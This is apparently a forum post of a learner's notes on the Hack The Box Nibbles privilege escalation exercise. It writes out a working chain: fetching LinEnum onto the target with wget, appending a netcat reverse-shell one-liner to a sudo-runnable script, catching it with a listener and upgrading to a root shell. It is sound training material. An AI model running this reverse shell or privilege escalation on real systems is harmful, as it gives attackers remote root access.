Hello.
Just wanted to post my notes regarding the ‘Escalate privileges and submit the root.txt flag’ question within the Getting Started: Nibbles - Privilege Escalation PART 2 Hack the Box Module.
I ran into trouble with the reverse shell appendage to the monitor.sh file; so I hope this guide provides some relief to potential troubleshooters.
Also, I also hope people discuss answers to both of my questions at the end of my exercise notes.
Thank you for your time.
---------------------------------- BEGIN EXERCISE NOTES + QUESTIONS: -----------------------------------------
Exercise notes:
Escalate privileges and submit the root.txt flag.
*** Note: Must get reverse web-shell access from previous exercise ****
unzip personal.zip
wget <web address to bourne shell script (.sh) (home terminal)
- < https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh >
- Source 1: < linux - What's a .sh file? - Stack Overflow >
- Source 2: < linux - Downloading .sh files through Terminal - Stack Overflow >
hostname -I
-
Note: Gives IP address of host machine (or your hack the box terminal).
-
Note: You can also view your ip address (or home; or host ip address) before command lines in the Parrot terminal of your Hack the Box Virtual Machine. Please see photo, below:
sudo python3 -m http.server 8080 (on home terminal)
wget http://< home ip >:8080/LinEnum.sh (on target terminal)
- Get 200 confirmation
chmod +x LinEnum.sh
./LinEnum.sh
- Note: Chill for 2 minutes.
- Note: The information regarding sudo commands without passwords exists in the ‘[-] Super user account(s):’ section of the response.
cd /home/nibbler/personal/stuff
echo ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc < Home IP > 8443 >/tmp/f’ | tee -a monitor.sh
- Note: knew to use home ip (or Hack the Box IP (or your ip)) from: < Nibbles: Hack the Box Walkthrough (without metasploit) | by Annie | Medium >
[CNTRL] + [Z] (In original home terminal (still running sudo python3 -m http.server 8080))
sudo nc -lnvp 8443 (home terminal)
sudo /home/nibbler/personal/stuff/monitor.sh (target terminal)
- id
- python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
- cd ~
- cat root.txt
Question(s):
Does the link to the LinEnum bource shell script < https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh > include the repo?
- Source of question: < linux - Downloading .sh files through Terminal - Stack Overflow >
The reverse shell in monitor.sh did not seem to work without the port number 8443. Is there a reason the reverse shell does not work (at least for me) without port 8443?